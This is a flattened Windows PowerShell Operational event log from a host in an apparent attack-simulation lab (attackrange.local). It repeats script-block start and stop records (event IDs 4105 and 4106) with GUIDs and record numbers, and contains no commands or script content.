410515102150x0674226Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0674225Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0674224Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0674223Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0674222Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0674221Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0674220Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0674219Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0674218Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0674217Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0674216Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0674215Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0674214Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0674213Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0674212Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0674211Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0674210Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0674209Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0674208Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0674207Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0674206Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0674205Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0674204Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0674203Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0674202Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0674201Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0674200Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0674199Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0674198Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0674197Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0674196Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0674195Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0674194Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0674193Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0674192Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0674191Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0674190Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0674189Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0674188Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0674187Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0674186Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0674185Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0674184Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0674183Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0674182Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0674181Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0674180Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0674179Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0674178Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0674177Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0674176Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0674175Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0674174Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0674173Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0674172Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0674171Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0674170Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0674169Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0674168Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0674167Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0674166Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0674165Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0674164Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0674163Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0674162Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0674161Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0674160Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0674159Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0674158Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0674157Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0674156Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0674155Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0674154Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0674153Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0674152Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0674151Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0674150Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0674149Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0674148Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0674147Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0674146Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0674145Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0674144Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0674143Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0674142Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0674141Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0674140Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0674139Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0674138Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0674137Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0674136Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0674135Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0674134Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0674133Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0674132Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0674131Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0674130Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0674129Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0674128Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0674127Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0674126Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0674125Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0674124Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0674123Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0674122Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0674121Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0674120Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0674119Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0674118Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0674117Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0674116Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0674115Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0674114Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0674113Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0674112Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0674111Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0674110Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0674109Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0674108Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0674107Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0674106Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0674105Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0674104Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0674103Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0674102Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0674101Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0674100Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0674099Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0674098Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0674097Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0674096Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0674095Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0674094Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0674093Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0674092Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0674091Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0674090Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0674089Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0674088Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0674087Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0674086Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0674085Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0674084Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0674083Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0674082Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0674081Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0674080Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0674079Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0674078Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0674077Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0674076Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0674075Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0674074Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0674073Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0674072Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0674071Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0674070Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0674069Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0674068Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0674067Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0674066Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0674065Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0674064Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 